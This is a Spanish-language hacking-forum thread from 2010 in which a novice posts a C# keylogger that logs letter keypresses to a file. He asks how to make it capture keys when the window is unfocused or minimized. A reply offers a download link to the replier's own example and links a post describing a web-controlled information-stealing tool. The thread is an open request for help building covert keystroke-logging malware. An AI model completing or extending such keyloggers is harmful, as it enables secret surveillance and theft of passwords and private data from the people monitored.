elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  Ayuda con este codigo! c#
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda con este codigo! c#  (Leído 2,593 veces)
Foxzer

Desconectado Desconectado

Mensajes: 14


Ver Perfil
Ayuda con este codigo! c#
« en: 14 Mayo 2010, 17:31 pm »

Hola, estoy intentando crear un codigo simple de un keylogger, lo malo que solo funciona si esta en focus la pantalla y como soy novato y no se usar muy bien el hook queria saber si se puede ejecutar teniendolo minimizado o sin focus, tambien he leido que se puede hacer con un thread si alguien podria enseñarme algun ejemplo... el codigo que tengo de momento es esto:

Código:
Option Strict Off
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;


namespace Key
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
 

        }
      
      
        private void Form1_KeyDown(object sender, KeyEventArgs e)
        {

            if (this.WindowState == FormWindowState.Minimized)
            {
                StreamWriter sw = new StreamWriter(@"z:\log.txt", true);
                if (e.KeyData == Keys.A)
                {
                    sw.Write("A");
                }
                else if (e.KeyData == Keys.B)
                {
                    sw.Write("B");
                }
                else if (e.KeyData == Keys.C)
                {
                    sw.Write("C");
                }
                else if (e.KeyData == Keys.D)
                {
                    sw.Write("D");
                }
                else if (e.KeyData == Keys.E)
                {
                    sw.Write("E");
                }
                else if (e.KeyData == Keys.F)
                {
                    sw.Write("F");
                }
                else if (e.KeyData == Keys.G)
                {
                    sw.Write("G");
                }
                else if (e.KeyData == Keys.H)
                {
                    sw.Write("H");
                }
                else if (e.KeyData == Keys.I)
                {
                    sw.Write("I");
                }
                else if (e.KeyData == Keys.J)
                {
                    sw.Write("J");
                }
                else if (e.KeyData == Keys.K)
                {
                    sw.Write("K");
                }
                else if (e.KeyData == Keys.L)
                {
                    sw.Write("L");
                }
                else if (e.KeyData == Keys.M)
                {
                    sw.Write("M");
                }
                else if (e.KeyData == Keys.N)
                {
                    sw.Write("N");
                }

                else if (e.KeyData == Keys.O)
                {
                    sw.Write("O");
                }
                else if (e.KeyData == Keys.P)
                {
                    sw.Write("P");
                }
                else if (e.KeyData == Keys.Q)
                {
                    sw.Write("Q");
                }
                else if (e.KeyData == Keys.R)
                {
                    sw.Write("R");
                }
                else if (e.KeyData == Keys.S)
                {
                    sw.Write("S");
                }
                else if (e.KeyData == Keys.T)
                {
                    sw.Write("T");
                }
                else if (e.KeyData == Keys.U)
                {
                    sw.Write("U");
                }
                else if (e.KeyData == Keys.V)
                {
                    sw.Write("V");
                }
                else if (e.KeyData == Keys.W)
                {
                    sw.Write("W");
                }
                else if (e.KeyData == Keys.X)
                {
                    sw.Write("X");
                }
                else if (e.KeyData == Keys.Y)
                {
                    sw.Write("Y");
                }
                else if (e.KeyData == Keys.Z)
                {
                    sw.Write("Z");
                }
                else if (e.KeyData == Keys.Space)
                {
                    sw.Write(" ");
                }
                sw.Close();
            }
                
          
        }
    }
}
Gracias de antemano


En línea

jack06

Desconectado Desconectado

Mensajes: 133


anarkia99-Soft.


Ver Perfil
Re: Ayuda con este codigo! c#
« Respuesta #1 en: 14 Mayo 2010, 18:11 pm »

Uhmm se esta maliando el foro, de Visual 6, miren bien arribita esta el sub-foro de .Net


En línea

(̅_̅̅_̅(̅_̅_̅_̅_̅() ڪ €l $åßîø nø d nµn¢å tødø lø qµ£ Þî£n$å, Þ£®ø $î£mÞ®£ Þî£n$å tødø lø qµ£ d (̅_̅̅_̅(̅_̅_̅_̅_̅() ڪ
43H4FH44H45H4CH49H56H45H
Wiki

Desconectado Desconectado

Mensajes: 502



Ver Perfil
Re: Ayuda con este codigo! c#
« Respuesta #2 en: 14 Mayo 2010, 21:41 pm »

Hola, estoy intentando crear un codigo simple de un keylogger, lo malo que solo funciona si esta en focus la pantalla y como soy novato y no se usar muy bien el hook queria saber si se puede ejecutar teniendolo minimizado o sin focus, tambien he leido que se puede hacer con un thread si alguien podria enseñarme algun ejemplo... el codigo que tengo de momento es esto:
Gracias de antemano

Hace tiempo hice un pequeño ejemplo puedes descargarlo desde aqui:

http://www.4shared.com/file/106746397/2040d87e/IntelliSense.html

Pequeña descripción:

https://foro.elhacker.net/analisis_y_diseno_de_malware/intellisense_control_via_web_robo_de_informacion-t255155.0.html

El post es para vb.net (a falta de .NET  :P)
En línea


-R IP
:0100
-A 100 
2826:0100 MOV AH,09
2826:0102 MOV DX,109
2826:0105 INT 21
2826:0105 MOV AH,08
2826:0105 INT 21
2826:0107 INT 20
2826:0109 DB 'MI NICK ES CODELIVE.$' 
2826:0127 
-R BX
:0000
-R CX
:20
-N CODELIVE.COM
-W
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines